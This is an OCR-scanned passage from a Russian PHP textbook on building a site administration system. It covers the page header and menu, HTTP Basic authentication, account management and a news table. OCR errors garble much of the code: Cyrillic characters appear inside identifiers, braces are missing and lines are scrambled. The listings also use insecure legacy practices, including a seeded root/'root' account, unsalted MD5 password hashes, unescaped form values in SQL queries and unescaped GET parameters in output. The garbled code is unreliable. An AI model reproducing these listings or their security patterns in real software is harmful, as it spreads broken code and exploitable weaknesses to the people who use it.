определены переменные $title и $pageinfo) .
Глава 8. Пр оекmuрованuе са йmа 523 art,cle Наз ваюtе страницы Блок новости Здесь можно добавffiЪ onиса flfli'! страницы Рис . 8 . 2. П ростейшая стра ница системы администрирования в листи нге 8.8 приводится содержимое файла top.pl1p, который отвечает за формирование заголовка страницы . Лист инг 8.8 . Шапка стра ницы top.php <?php ?> // Устанавливаем соединение с базой данных requi re_once (" ../ ../config/config .php") ; <html > <head> <meta http-еquiv= "Сопtепt-Туре " content= "text /html ; charset=windows -1251"> <title><?php echo $title ; ?></title> <link rel=" StyleSheet " type= "text /css" href=" ../utils/cms .css"> </head> <body leftmargin="O" ma rginheight= "O" ma rginwidth="O" rightma rgin= " О " bottormna rgin="O" topma rgin="O" >
524 <table width=" 100%" border="O" cellspacing="O" cellpadding="O" he ight="100%"> <tr va lign="top "> <td соlsрап="З"> <table clas s=topmenu border=O> <tr> <td width=5 %>&nbsp ;</td> < td> Часть 11. Создание са йта <hl class=title>< ?php echo $title ; ?></hl> </td> <td> <а href=" ../index .php " titlе="Вернуться на страницу администрирования сайта "> Администрирование</а>&nbSр ;&nb Sр; <а href= " ../ ../index .php " </td> </tr> </table> </td> </tr> titlе="Вернуть ся на головную страницу сайта" > Вернуть ся на сайт</а> <tr va lign=top> <td class=menu> <?php // Формируем ме ню системы администрирования include "menu .php " ; ?> </td> <td class=main height=lOO%> <hl class=namepage> <?php echo html specialchars ($title , ENT_QUOTES ) ?> </hl> <?php echo $pageinfo ?><br><br>
Глава 8. Проекmuрованuе сайmа 525 Ка к видно из листинга 8.8, в файле tOp .pl1p при помощи НТМL-табл иц фор­ м ируется шапка стран ицы, в кото рой выводится название страницы $title и е е о писание $pageinfo. в л истинге 8.9 приводится содержимое файла bottom.php, который формиру­ ет завершение страницы. ЗАМЕЧАНИЕ JаvаSсгi рt-функция de lete_p os i tion () предназначена дл я обслужи вания запросов на удаление позиций в разл ичных программных блоках: прежде чем осуществить удаление, необходимо запросить подтв ерждение. Пара­ метр url задает адрес конечного скрипта , второй параметр ask позволяет задать текст подтверждения. Листинг 8.9. За вершен ие стран ицы bottom.php <br><br></td><td width=1 0%>&nbsP i</td></tr> <tr clas s=authors> <td соlsрап="З"> Панель администрирования разработана и поддерживается IТ-студией "SoftTirne" <а hre f=''http ://www .softtime . ru ''>www .softtime . ru</a>< /td>< /tr> </table> </body> </html> <script language= " JavaScript " type= 'text /javascript '> <!-- function de lete - pos ition (url , ask) if (conf irm (ask) ) location . href=url i return fa lse i //--> </script>
526 Часть 11. Создание сайта Шапка стран ицы top .php (см . листи нг 8.8) включает в себя файл mеll и .рl1 р, который несет ответственность за поиск блоков в систе ме ад министрирова­ ния и формирование меню (листинг 8.1О). Листинг 8.10. Формирование меню menu.php <?php // Анализируем содержимое каталога системы // администрирования для формирования ме ню // Открыв аем каталог /dmn $dir = opendir ("..") ; // Обходим в цикле все файлы и их поддиректории while (($file = readdir ($dir) ) !== false) // Обрабатываем толь ко поддиректории , // игнорируя файлы if (is_dir( .. ../$file") ) // ИсК'ЛЮчаем текущую .. ... , родитель скую .. ... . // директории , а также директорию utils if($file != .. .. && $file != " . . && $file != "utils ") // Ищем в директории файл с описанием блока .htdi r if (fi le_e xists ("../$file/ .htdir") ) // Файл .htdir суще ствует - // читаем название блока и его // описание list ( $block_name , $block_d escript ion ) file (" ../$file/ .htdir" ) ; else // Файл .htdi r не суще ствует - // в каче стве его названия // выступает имя поддиректории = "$file";
Глава 8. Пр оекmuрованuе сайmа ?> $block_de script ion ""; // Отмечаем текущий пункт другим стилем if ( strpos ( $_SERVER ['PHP_SELF '], $file ) !== fa lse) $style = 'clas s=act ive '; else $style = " ; // Формируем пункт ме ню echo "<div $style> <а class=menu href= ' ../$file ' title= ' $block_d escription '> $block_name </а> </div> " ; // Закрываем директорию closedi r ($di r) ; 527 Скрипт из листинга 8. 1 О открывает директорию /dпш и последовател ьно чи­ тает файлы и поддиректории. При это м все файл ы, а также директории ".", " .." и "utils" игнорируются, все же остальные поддиректории рассматривают­ ся как блоки системы ад министр ирования . Скрипт извлекает информацию для названия и описания для вспл ывающей подсказки из файла .I1.td ir, есл и тако й файл присутствует в поддиректории. В противном случае вместо на­ звания блока используется название поддиректории. Текущий блок системы ад министрирования выделяется отличным от остал ь­ ных стилем . Методика определения текущей директории заключается в по­ иске ее названия в содержимом элемента суперглобал ьного массива $_SERVER [ 'РНР_SELF ' ], который возвращает текущий ад рес страницы . Такая систе ма накладывает определенные ограничения на названия директорий - они должны быть уникальными, причем каждое из названий не должно быть частью названия других директорий, в противном случае текущим стил ем будет выделяться два и более блоков.
528 Часть 11. Создание сайта На рис. 8 .2 была по казана ситуация, когда система ад министр ирования со­ держит два блока: l1ews, в котором присутствует файл с описанием .I1td ir, и article, где такой файл отсутствует. Страницы, предназначенные для вывода сообщений об исключительной си­ туации, типичны и повторяют структуру любой стран ицы системы ад мини­ стрирования (см. листинг 8.7). В листинге 8. 11 представлено содержи м ое файла excepti0l1_11 1 ysql.pl1p. Листинг 8.1 1. Содержимое файла ехсерtiоп_mуsql.рhр <?php ?> // Выс тавляем уровень обработки ошибок // (http: //ww w .softtime . ru/info/art iclephp . php?id_a rticle=2 3) Error_Reporting ( E_ALL & -E _NOT ICE ); / / Обрабатываем исключения , возникающие // при обращении к СУБД MySQL // Включаем заголовок страницы requi re_once ("../utils/top .php" ) ; echo "<р сlаss=hеlр>Произошла исключительная ситуация (Except ionМySQL ) при обращении к СУБД MySQL .</p>" ; echo "<р class=help> !$exc->gеtМуSQLЕ rrоr () ) <br> ".n12br ($exc->gеtSQLQuеrу () ) . "</р>" ; echo "<р сlаss=hеlр>Ошибка в файле !$exc->gеtFilе ( ) } в строке !$exc->gеtLiпе () }.</р> " ; // Включаем завершение страницы requi re_once· ("../utils /bottom.php" ) ; exit () ;
ГЛАВА 9 Ограничение доступа к системе администрирования Система ад министрирования является центральным пул ьтом управления сай­ то м, где можно добавлять, редактировать и удал ять информацию. Разумеет­ ся, доступ к ней должен быть ограничен и защищен паролем. Рис . 9 . 1 . Базовая НТТР-аутентификация Для защиты приложения каждый его файл включает скрипт security_tnod.pI1p, который осуществляет ауте нтификацию и авторизацию ад министратора. Реа-
530 Часть 11. Созда ние са йта лизовать авторизацию удобно при помощи базовой НТТР-ауте нтификаци и , внешний вид которой демонстрируется на рис. 9 . 1. ДЛя реализации данного вида авторизации необходимо послать браузеру клиента НТТР-заголовки вида: WWW-Authenticate : Bas ic realm="Adrnin Page " НТТ Р /1 .0 401 Unauthorized которые отобразят форму для ввода имени пользователя и пароля, представ­ ленную на рис. 9. 1 . Имя пол ьзователя будет помещено браузером в пере мен­ ную су перглобального массива $ SERVER [ , РНР_АО ТН_ USER ' ], а пароль - в $ _SERVER ['PHP_AUTH_PW ' ]. ЗА МЕЧА НИЕ Элементы су перглобального массива $_SERVER [ , РНР_АОТН_USER ' ] И $ _ SERVER [ , РНР_АОТН_ PW ' ] доступны, тол ько есл и РНР установлен в каче­ стве модуля, а не СGI-приложен ия. О предел ить ти п подключения можно из отчета функции phpinfo (): есл и поле Serve r API принимает значение "Apache" , РНР установлен в качестве модуля, если значение равно " CGI" , - в качестве внешнего СGI-приложения. В последнем случае разум­ но удалить из файла secuгity_mod .php код и защитить систе му адм инистри­ рования при помощи конфигурационных файлов .htaccess и .htpasswd . Имена пользователей и их пароли будем хранить в табл ице systern_a ccount s (листинг 9. 1), которая в скриптах будет носить имя $tbl_account s. ЗА МЕЧАНИЕ Для б ыстрого входа в систему в листи нге 9.1 при помощи оператора INSERT добавляется аккаунт с именем root И паролем " гoot" . Листинг 9.1 . Таблица systern_accoun ts ($tbl_accounts) СRБАТЕ TAВLE systern_account s ( ); id_account INT (ll) NOT NULL AUTO_I NCREМENT , пате TINYTEXT NOT NULL , pass TINYTEXT NOT NULL , PRIМARY КЕУ (id_a ccount ) INSERT INTO systern_accounts VALUES (1, 'root', 'БЗа9fОеа7ЬЬ980507 9БЬб4 9е85481845 ');
Глава 9. Ограничение доступа к системе администрирования 531 Таблица system_a ccount s обладает тремя полями, которые имеют следую­ щие значения : С] id account - первичный кл юч табл ицы, обладающий ат рибутом АО ТО_ INCREMENT; С] name - имя пользователя ; С] равв - его пароль, зашифрованный по алгоритму МО5 . Файл security_mod.php, испол ьзующийся для аутентификации и авторизации в системе управления содержимым сайта (CMS), может выглядеть так, как это представлено в листинге 9.2 . Л и стин г 9.2 . Фа йл 5ecurity_mod.php <?php // Устанавливаем соединение с базой данных requi re_once ( "config . php" ) ; // Если поль зователь не авторизовался - авторизуем if (!i sset ($_SERVER ['PHP_AUTH _U SER' ] )) Header ( "WWW-Аuthепt iсаtе : Ba sic realm=\ "Admin Page \"") ; Heade r ("HTT P /1 .0 401 Unauthorized" ) ; ехН (); else // Пр оверяем переменные $_SERVER ['PHP_AU TH_U SER '] и // $_SERVER ['PHP_AUTH _PW '], чтобы предотвратить // SQL-инъекцию if (!g et_m agic_quotes_gpc () ) $_SERVER ['PHP_AUTH_U SER '] = mysql_e scape_string ( $_SERVER ['PH P_AU TH_U SER ']); $_SERVER ['PHP_AU TH_PW '] = mysql_e scape_string ( $_SERVER ['PHP_AUTH_PW ']); $query "SELECT равв FROM $tbl_a ccount s WНERE name= ' '' . $_SERVER ['PHP_AUTH _USER' ] ."''' ;
532 ?> Часть 11. Создание са йта $lst = @mysqi_query ($query) ; // При ошибке в SQL-запросе выводим окно if (!$lst ) { Header ( "WWW-Аuthепt iсаtе : Ba sic rеаlm=\ "Аdmiп Page \"") ; Heade r ("HTT P /1 .0 401 Unautho ri zed" ); exit () ; // Если такого поль зователя нет - выводим окно авторизации if (mysql_num_rows ($lst) == О) { Header ( "WWW-Аuthепtiсаtе : Bas ic realm= \ "Admin Page \"") ; Heade r ("HTTP /1 .0 401 Unautho rized" ); exit () ; // Если все проверки пройдены, сравниваем хэши паролей $pass = @mysql_fet ch_array ($lst ) ; if (md5 ( $_SERVER ['PHP_AUTH _PW ']) != $pass ['p ass']) { Header ( "WWW-Аuthепt iсаtе : Bas ic realm=\"Admin Page \ "") ; Header ("HTTP/1 .0 401 Unautho rized" ) ; exit () ; Как видно из листи нга, при неудач ной авторизации кл иенту отсылается по­ вторное приглашение для ввода пароля: WWW-Authent icate : Basic realm="Admin Page " НТ ТР/1 .0 401 Unauthorized Работа скрипта останавливается при помощи функции exit ( ) . Можно реали­ зовать ограничение числа попыток ввода пароля: для этого достаточно вме­ сто приведенных выше НТТР-загол овков послать заголовок Стр аница не найдена: НТТ Р /1 .0 404 Not Found После того как модул ь защиты security_шоd .рi1р создан, необходимо вклю­ чить его при помощи директивы requi re_once () в начало защищаемых стра­ ниц (листинг 9.3).
Глава 9. Огр аничение доступа к системе администр ир ования Листинг 9.3 . Защита стра ницы < ?php ?> // Модуль безопасности requi re_once ("secu ritY_ffiod .php " ); echo "Данные страницы, к которой необходимо получить доступ" ; 533 Добавлять, редактировать и удалять новых пол ьзовател ей систе мы ад мини­ стр ирования при помощи SQL-запросов довольно неудобно, особенно есл и администрированием зан имается пользователь, незнакомый или не имеющий доступа к СУБД MySQL. Поэтому первым для системы ад министрирования разработаем бл ок управления пользователями, который расположим в под­ директории sуstеш_а ссоuпts. Внешний вид системы управления пользо вате­ лями представлен на рис. 9 .2 . fiшш.НQ!Ш.il l1 Улравпение аккаvитаr.tИ Управление аккаунтами Здесь можно дооаШП4IiОВОГО пользователя. отредm.тироввть fm�1 удалК!Ъ с�щесrвУlOщеf(). Вы не r.южеrе узнвrь "араль с�щеСПJующен) ПQЛЬЗОfi<" епя, так как ОН ШИфруется шю{)ратш.IO, ОДltаJ(О Bbl можеrе Itазна'jИТЬ ему новый пароль Ри с. 9 .2 . Внешний вид системы управления аккаунта ми
534 Часть 11. Создание са йmа Система управления представляет собой табл ицу с .и менами зарегистриро­ ванных пол ьзователей, напротив каждого из которых имеется ссылка дл я его удаления . Последнего пол ьзователя удал ить нел ьзя (иначе нел ьзя будет вой­ ти в систему). При помощи управляющей ссылки "Добавить аккаунт" можн о создать нового пользователя. Блок "Управление аккаунтами" помимо файла с описанием содержит три следующих файла: CJ index.php - гл авная стран ица блока управления аккаунтами, представ- ленная на рис. 9.2; CJ addaccoul1t.pllp - НТМL-форма для добавления нового пользовател я; CJ dеlассоuпt.рllР - удаление пользовател я. В листинге 9.4 представлена реал изация главной страницы index. php. ЛИСТИНГ 9.4 . Гла вная страница блока управления аккаунтами, index.php <?рЬр // Устанавливаем соединение с базой данных require_once ("../ ../config/config .рЬр ") ; // Подключаем бл ок авториз аци и requi re_once ("../utils/securitY_ffi od .php ") ; // Подключаем SoftTime FrameWork require_once ("../ ../config/class.config .dmn.php" ) ; // Данные nepeмeHИble определяют название страницы и подсказку . $title = 'Управление аккаунтами '; $pageinfo = '<р Сlаss=hе lр>Зде сь можно добавить нового поль зователя, удалить или отредактировать данные суще ствующего . Вы не може те узнать пароль суще ствующе го поль зователя, так как его шифрование необратимо , однако вы можете назначить ему новый пароль</р> '; // Включаем заголовок страницы require_once (" ../utils/top .php ") ; try
Глава 9. Ограничение доступа к системе администрирования // Количество ссылок в постраничной навигации $page_l ink = 3; // Количество позиций на странице $рпШ1lbеr = 10; // Объявляем объект постр аничной навигации $obj = new pager_mys ql ($tbl_account s, "", "ORDER ВУ пате ", $рпШ1lbе r, $page_l ink ) ; // Добавить аккаунт echo "<а hre f=addaccount . php ?page=$_GET [page ] titlе= ' Добавить новый аккаунт '> Добавить aKKaYHT</a><br><br> "; // Получаем содержимое текущей страницы $account s = $obj - >get-page () ; // Если име ется хотя бы одна запись - выводим ее if ( !emp ty ($accounts ) ) ?> <table width="100% " c1ass="table" border="O" ce11padding= " О " ce11spac ing="0"> <tr class= "header" align= "center"> <td>Поль зователь </td> <td>Действия</td> </tr> <?php for ($i О; $i < count ($account s ); $i++ ) / / Выводим строку таблицы echo "<tr> <td a l ign=center> { $accoun ts [$i] [пате ] j</td> <td align=center> 535
536 Часть 1/. Создание са йта ?> <а href=# onClick=\"delete_pos ition (''' . "delaccount . php ?page=$_GET [page] &" . "id_a ccount= {$account s [$i] [id_a ccount ] }',". "'Вы действительно хотите удалить аккаунт? ') ;\" titlе= ' Удалить пользователя '>Удалить</а></td> </tr>" ; echo "</table><br> "; / / Выв одим ссылки на другие страницы echo $obj ; catch ( ExceptionМySQL $ехс ) require ("../utils /exception_my sql.php ") ; // Включаем завершение страницы require_опсе (" ../utils/bottom.php" ) ; Как видно из листинга 9.4, вывод аккаунтов из табл ицы system_a ccount s ($tbl_a ccounts) осуществляется при помощи объекта кл асса pager_my sql (см . главу 7), который обеспечивает постраничное представление резул ьтата SЕLЕСТ-запроса. Возможные ошибки MySQL-сервера обрабатываются при помощи исключения типа Excepti onMySQL (рис. 9 .3). Перед таблицей с результатами запроса выводится ссылка на скрипт добавле­ ния нового пользователя addaccoul1t.pI1p. В самой табл ице результатов ссылки на скрипт удаления пользователей delaccoul1t.pl1p оформляются в виде функции JavaScript, которая перед удалением запрашивает подтверждение (рис. 9.4). JavaScript-функция de lete position () расположена в файле . . /util s/bottom.php; она принимает в качестве первого параметра url адрес ко­ нечного скрипта, а в качестве второго ask - вопрос, который уточняет у пользователя, следует ли удалять текущую позицию: <script language= " JavaScript " type= 'text /javascript '> <,1--
Глава 9. Ограничение доступа к системе администрирования function de lete_pos ition (url , ask) if (confirm (ask) ) location . href=urli return falsei //--> </script> ПjJQи.10шпа искI1юч'нIе I1ыlяя скryация (Exceptlol1!.1ySQL.} 11РИ обращеllllИ к СУБД MySQL. You have DJ\ eгroг 111 your SQL SYJ\lax; cneck (nе manual that corгesj>O O ds 10 your Му SQL SefYer veгsiol\ rOI' "lе righl synlax to use l1еаг'ВУ П5П1S' 51 Иl1е 3 SElECT СОUNЧ') FROM sуэtem..JIССОl ll1 tэ ORDER1 ВУ naте OIUИбка в файпе D:\f1H1in\oop\1 1\clas�\cJass. . pa!Jel·_lny�ql.PI\P всrpoке 41.. Рис. 9 .3 . Обработка искл юч ительной ситуации ExceptionMySQL Рис. 9.4 . Запрос на подтверждение удаления аккаунта 537 в листинге 9.5 представлена возможная реализация файла addaccoul1t.pllp, ответственного за добавление нового пользователя.
538 Часть 11. . Создание са йта Листинг 9.5 . Доба вление нового пользовател я, addaccount.php <?php // Выставляем ур овень обработки ошибок // (http: //WW W . SO fttime . ru/info/articlephp . php?id_a r ticle=2 3) Error_Repo rting ( E_ALL & -E _NOT ICE ); // Устанавливаем соединение с базой данных require_once ("../ . ./config/config .php " ); // Подключаем блок авторизаци и requi re_once ("../utils/securitY_ffi od .php" ) ; // Подключаем SoftTime FraтeWork require_once ("../ ../config/class . config .dmn.php ") ; // Подключаем генератор паролей requi re_once (" ../utils /utils . password .php ") ; // Генерируем новый пароль $pass_exaтple = generate_pa ssword (lO) ; try $ пате $pas s $passag new field_t ext_english ("пате", " Имя поль зователя" , true , $_POST['пате']); new field_pa ssword ("pass" , "Пароль ", true , $_POST['pass'] , 255, 41, "", "Например , $pas s_exaтpl e") ; new field_p assword ( "passag" , "Повтор пароля" , true ,
Глава 9. Ограничение доступа к системе а дминистрир ования $page $fonn $_POST ['pas sag' ], 255, 41, 11 11 , "Например , $раss_ехашрlе ") ; new field hidden_int ("page", false, $_REQUE ST ['p age'] ); new fonn (array ( "паше " => $паше , "pas s" => $pass , "pas sag" => $pas sag, "page " => $page) , "Добавить " , "field" ); if ( !empty ($_POST) ) // Пр оверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fonn->check () ; 539 if ($fonn->fields ['p ass ']->value != $fonn->fields ['p assag' ] ->value ) $error [] "Пароли не равны "; // Проверяем, не регистрировался ли ранее пользователь // с запрашиваемым электронным адресом $query = "SE LECT COUNT (*) FROM $tbl_account s WHERE паше = '($fonn->fields [паше ] ->value ) , "; $асс = mysql_query ($query) ; if (!$асс ) throw new Excepti onМySQL (mys ql_error () , $query,
540 Часть 11. Создание са йта "Ошибка добавления нового пользователя ") ; if (mysql_result ( $acc , О) ) $error [] "Поль зователь с именем {$form->fields [name] ->value } уже зарегистрирован " ; // Если ошибок нет, добавляем нового пользователя if (emp ty ($error) ) $query "INSERT INTO $tbl_a ccount s VALUES (NULL , '{$form->fields [name] ->value }', MD5 ('{ $form->fiеlds [ра ss] ->vаluе} '))"; if ( !mys ql_query ($que ry) ) ( throw new Excepti onМySQL (mys ql_error () , $query, "Ошибка добавления нового поль зователя" ) ; // Пере гружаем страницу для сброса РОSТ-данных header ("Location : index . php?page= " . $form->fields [ 'page ' ] ->value ) ; ехН(); // Включаем заголовок страницы $title = "Добавление аккаунта "; $pageinfo = '<р сlаss=hе lр>Имя поль зователя и пароль может содержать толь ко символы латинско го алфавита</р> '; requi re_once (" ../utils /top . php" ) ;
Глава 9. Ограничение доступа к сист еме администр ир ования ?> // Выв одим сообщения об ошибках , если они имеют ся if ( ! empty ($error) ) foreach ($error as $err) echo П<sрап stуlе=\Псоlоr : rеd\ П>$еrr</sрап><Ьr> П; } // Выв одим НТМL-форму $form->print_form () ; catch ( ExceptionObj ect $ехс ) rеquirе (П../utilр/ехсерti оп_оЬj есt.рhр П) ; catch ( Excepti onМySQL $ехс ) rеqui rе (П../utils /ехсерt iоп_mу sql.рhр П) ; catch ( ExceptionМember $ехс ) rеquitе (П ../utils/ехсерtiоп_mеmbе r.рhр П) ; // Включаем завершение страницы rеqui rе_опсе (П../utils/Ьоttоm.рhр П) ; 541 Скрипт addaccou nt.php из листинга 9.5 формирует НТМL-форму, состоящую из нескольких элементов управления: текстового поля пате для ввода имени пользователя, двух полей типа pas sword для ввода пароля pass И его повтора pass age, а также скрытое поле page для передач и номера текущей страницы при постраничной навигации, позволяющее вернуться на ту же страницу, от­ куда был осуществлен переход на страницу добавления нового аккаунта. Есл и при вводе данных не возникает ошибок (введено незарегистрированное ранее имя пользователя и совпадающие парол и), пользовател ь добавляется в СУБД MySQL при помощи INSЕRТ-запроса. При этом пароль необрати мо
542 Ча сть 11. Создание са йта шифруется по алгоритму MD5, что позволяет значител ьно снизить риск под­ бора пароля, даже если злоум ышленнику удастся завладеть базой дан ных. На рис. 9.5 представлен внешний вид НТМL-формы для добавления нового аккаунта. Попе 'И мя ПОJ1 ьзовю·епя"ДОЛЖНО содержать rOJ1bKO CI1М�ОПЫ паrин,жоrо :ШФЗБlп-а Поле "ПаРQПЬ" не эаПОЛf,ено Попе "n'\BrO.P Пaj10ПЯ' не :Jа.полнено Имя пользователя "; Пвраль ": Пoвroр пароля ": Нпп.,рмер, dV14BYDDI Нап.,рмер. dV14BYDDI Доба вить Рис . 9 .5 . Добавление нового аккаунта Помимо элементов управления, под полями для ввода пароля и его дубл иро­ вания выводится абзац с примером пароля, который трудно подобрать. Па­ роль ге нерируется при помощи специальной функции gene rate_p a ssword () из файла utils/utils.password.php. Функция принимает в кач естве параметра кол ичество символов, кото рое должен содержать пароль. В листинге 9.6 при­ водится содержимое файла utils/uti ls.password .php. Листи нг 9.6 . Функция generateуаsзwоrd () <?php /////////////////////////////////////////////////// // Функция генерирует пароль ,
Глава 9. Ограничение достула к системе администрирования ?> // $number - количество символов в пароле /////////////////////////////////////////////////// function generate-password ($number = 10) $arr array('a', 'Ь', ' с ' , 'd', 'е', 'f', 'g', 'h', 'i','j','k', '1', 1т' , ' п' , 'о', ' q' , 'р', 'r', '5 ' , 't' , ' и','v', 'w', ' х', ' у' , ' 2', 'А', 'В', 'С', 'D', 'Е', 'F', 'G'I 'Н', '1', 'J' , 'К', 'L', 'М', 'N', 'О', 'Q', 'Р', 'R', '3', 'Т', 'U', 'V', 'W'I 'Х', 'У', 'Z'I '1', '2', ;3' , '4', '5', '6', '7', '8', '9', '0', ' ') ; // Генерируем пароль $pass = 1111; for ($i = О; $i < $number; $i++) // Вычисляем случайный индекс ма ссива $index = rand (O, count ($arr) - 1) ; $pas s . = $arr [$index] ; return $pass ; 543 Удаление пользователей из базы данных осуществляется при помощи файла delaccoul1t.pl1 p (листинг 9.7). Листинг 9.7. Удаление пользователе й, delaccou nt.php <?php // Устанавливаем соединение с базой данных requi re_once (" ../ ../config/config .php ") ; // Подключаем блок авторизации require_once (" ../utils/securitY_ffiod .php ") ; // Подключаем 30ftTime FrameWork require_once (" ../ ../config/class .config .dmn.php ") ;
544 Часть 1/. Создание са йта // Проверяем GЕТ-параметр , пр едотвращая SQL-инъе кцию $_GET ['i d_account ') intva1 ( $_GET ['id_a ccount ')); try // Проверяем, не удаляется ли последний аккаунт : // если его удалить, в систему невозможно будет войти $query = "SELECT СОИNТ ( *) FROM $tbl_a ccount s"; $асс = mysq1_query ($query) ; if (!$асс) throw new Excepti onМySQL (mys q1_error () , $query, "Ошибка удаления поль зователя" ) ; if (mys q1_resu1t ($acc , О) > 1) $query = "DELETE FROM $tbl_a ccounts WНERE id_account= " . $_GET ['id_account ' ) ; if (mysq1_query ($query) ) header ("Location : index . php?page= " . $_GET ['page' ) ) ; e1se e1se throw new Excepti onМySQL (mys ql_error () , $query, "Ошибка удаления поль зователя ") ; throw new Ехсерtiоп ("Нель зя удалить единственный аккаунт") ;
Гл ава 9. Ограничение доступа к системе администрирования 545 catch ( ExceptionМySQL $ехс ) require (" ../utils/exception_my sql . php") ; catch ( Exception $ехс ) require (" ../utils /exception .php ") ; ?> Скрипту передается в качестве GЕТ-параметра id_a ccount первичный кл юч удаляемого пользователя. Для того чтобы предотвратить SQL-инъекцию, па­ раметр $ _GET ['id_account '] при водится К цел ому значению при помощи функции intval ( ) . Далее скрипт проверяет, не является ли удаляемая запись последней в таблице system_a ccount s ( $tbl_accounts) , И при положител ь­ ном результате отказывает в удалении, иначе в дальнейшем штатно войти в систему ад министрирования уже не получится. При возникновении ошибки пользователя генерируется исключение класса Except ion С единственным параметром - текстовым сообщением . Для обра­ ботки таких исключений вводится специальный скрипт util s/exception .php, содержимое кото рого приводится в листинге 9.8. Листинг 9.8 . Обработч ик исключений типа Exception <?php ?> // Включаем заголовок страницы requi re_once (" ../utils/top .php" ) ; echo "<р class=help> {$exc->gеtМе ssаgе () }</р> "; echo "<р clas s=help><a href=# oncl ick='history . back () '>Вернутся< /а></р>"; / / Включаем завершение страницы require_once (" ../utils/bottom.php " ) ; exit () ; Главным отличием данного типа исключений от рассмотренных ранее Except i onMember, Except i onOb j ect И ExceptionMySQL заключается в том, что исключения типа Exception будут применяться не для отладки РНР-кода, а для сообщения об ограничениях или ошибках конечному пользовател ю сис-
546 Часть 11. Создание са йта темы. Поэтому обработчик исключений типа Exception не содержит сооб­ щений о файле и номере строки, где произошло исключение, а тол ько сооб­ щает причину возникновения исключ ител ьной ситуации и предоставл яет ссылку для возврата на предыдущую страницу (рис. 9.6). ЗА МЕЧА НИЕ Для исключений, пред назначенных для информирования конечных пользо­ вателей, а не для отладки программы, можно предусмотреть отдел ьный класс, унаследованный от базового класса Exception, однако никакая до­ полнител ьная функциональность для него не требуется , а исключение должно обрабатываться в любом случае. Поэто му введение специального типа исключител ьной ситуации нецелесообразно. !?Л9КН.Q!1.9.Q!1 Ynравneн.,е liккаунrn ми Нельзя удалить еДlшсrnеНftый аикаунт .!l!tP.!!fi!J?!: ',fi Ри с . 9 . 6 . Исключение Except ion предназначено ДЛЯ пользователя, а не ДЛЯ разработчика
ГЛАВА 10 Н ОВОСТНОЙ бл ок Новостной блок является первым блоком системы управления содержи мым сайта (CMS), включающим как систему адм инистрирования, так и блок представления. Очень часто возникает вопрос, с какой системы начинать разработку блока. Обычно первым разрабаты в ается тот участок кода, кото­ рый ответственен за наполнение базы данных - это позволяет быстрее по­ лучить работоспособный скрипт, начать его отладку и поиск ошибок. Таким образом, для форума, гостевой книги, доски объявлений, чата в первую оче­ редь разрабатывается система представл ения и лишь затем - система адм и­ нистрирования . Для новостного блока, вопросов и ответо в, управление статья ми, каталога продукции, фотогалереи и т. п. В первую очередь разрабаты вается система администрирования, которая позволяет заполнять базу данных и лишь затем - система представления, отображающая содержимое базы дан­ ных посетителям. 10. 1 . База данных Остановимся на разработке простейшей системы новостей, которые следуют одна за другой в календарном порядке. В данной системе не делаются разл и­ чия между категориями новостей, поэтому можно обойтись одной табл ицей system_news, которая состоит из восьми столбцов: D id news первичный кл юч таблицы, снабженный атрибутом АОТО_ INCREMENT, обеспечивающим автоматическое назначение уникал ь­ ного номера записи; D пате - название новостной позиции; D body - текст новости ;
548 Часть 11. Создание сайта о putdate - дата размещения новости в формате " УУУУ-ММ - ОО hh :mm: ss" ; О ur1 -ссылка; О ur1text -текст ссылки; О urlpict - путь к файлу иллюстрации, сопровождающей новость; О hide - служебное поле типа ENUM, принимающее толъ ко два значе ния : " hide " , если новостное сообщение скрыто и недоступно дл я просмотра со страниц сайта, и " show" , есл и новость отображается на страницах саЙта. В листинге 10.1 приводится оператор CREATE TABLE, позволяющий создать таблицу system_news . Листинг 10.1. Таблица sys tem_news ($tbl_news) CREATE TAВLE system_n ews ( ); id_news INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , body ТЕХТ NOT NULL , putdate DATETlМE NOT NULL DE FAULT '0000-00 -00 00 :00:00', url TINYTEXT NOT NULL , urltext TINYTEXT NOT NULL , urlpict TINYTEXT NOT NULL , hide ENUМ ( 'show ' , 'hide' ) NOT NULL DEFAULT 'show' , PRIМARY КЕУ (id_news ) 10.2. С истема адм инистрирования Система администрирования блока новостей, позволяющая добавлять, редак­ тировать и удалять новостные сообщения, состоит из шести файлов: О il1dex.pl1p - гл авная страница, отображающая список новостных сооб­ щений и управляющие ссылки; О l1ewsadd.php - НТМL-форма, позволяющая добавлять новостн ые сооб­ щения; О l1ewsedit.php - НТМL-форма, позволяющая редактировать новостн ые сообщения; О l1ewsdel.php - скрипт дл я удаления новостного сообщения;
Глава 10. Новостной бл ок а l1 ewsl1 ide.pl1p - скрипт, скрывающий новостное сообщение; а l1 ewsshow.pl1p - скрипт, отображающий новостное сообщение. 549 Главный файл il1dex.php отображает список доступных новостных сообще­ н ий, а таюке управляющие ссылки, позволяющие добавлять новостные блоки и подвергать их редактированию или удалению (рис. 10.1). Как видно из рис. 10.1, на гл авной странице блока новостей располагается управляющая ссылка Добавить новостной блок, а таюке табл ица, каждая стр ока кото рой соответствует одному новостн ому сообщению. Табл ица со­ держит четыре столбца: а дату размещения новости ; а содержимое новости (включая название, текст и ссылки); а изображение (если оно присутствует); а стол бец с управляющими ссылками, позволяющий редактировать, уда­ лять, скрывать/отображать новостное сообщение. Блок НОВОСП1 �ljлеIЩ!1 аv.каунrами Управление блоком новосте'Й Здесь МQЖfЮ ДобаВШЬ новостfЮЙ БЛОК, QI�lE!,qаКПlроваrь Шl}1 УД IJШ.ffЬ уже сущесmующи<� блок. Д'ШJ Новость 11�. Де iklВИЯ 11.0';.2007 15::13:00 Второе новостное соМщеН�lе Второе новостное сообщеЮlе . Второе новостное сообщение. второе н овостное сообщен ие. Втор ое новостное со общение. Второе' Ho�ocтнoe сообщение. Второе новостное сообщеНJ1е. Второе новостное сообщеНИЕ. ПеРВQе новостное СQQбщеНI1е Первое ноiюстное сообщеН�1е. Первое нет Скрыть z.J J.<\ Ш:Ш> РеАЗКТL-ipо еать Рис. 10.1 . Гл авная страница системы администрирования блока новостей
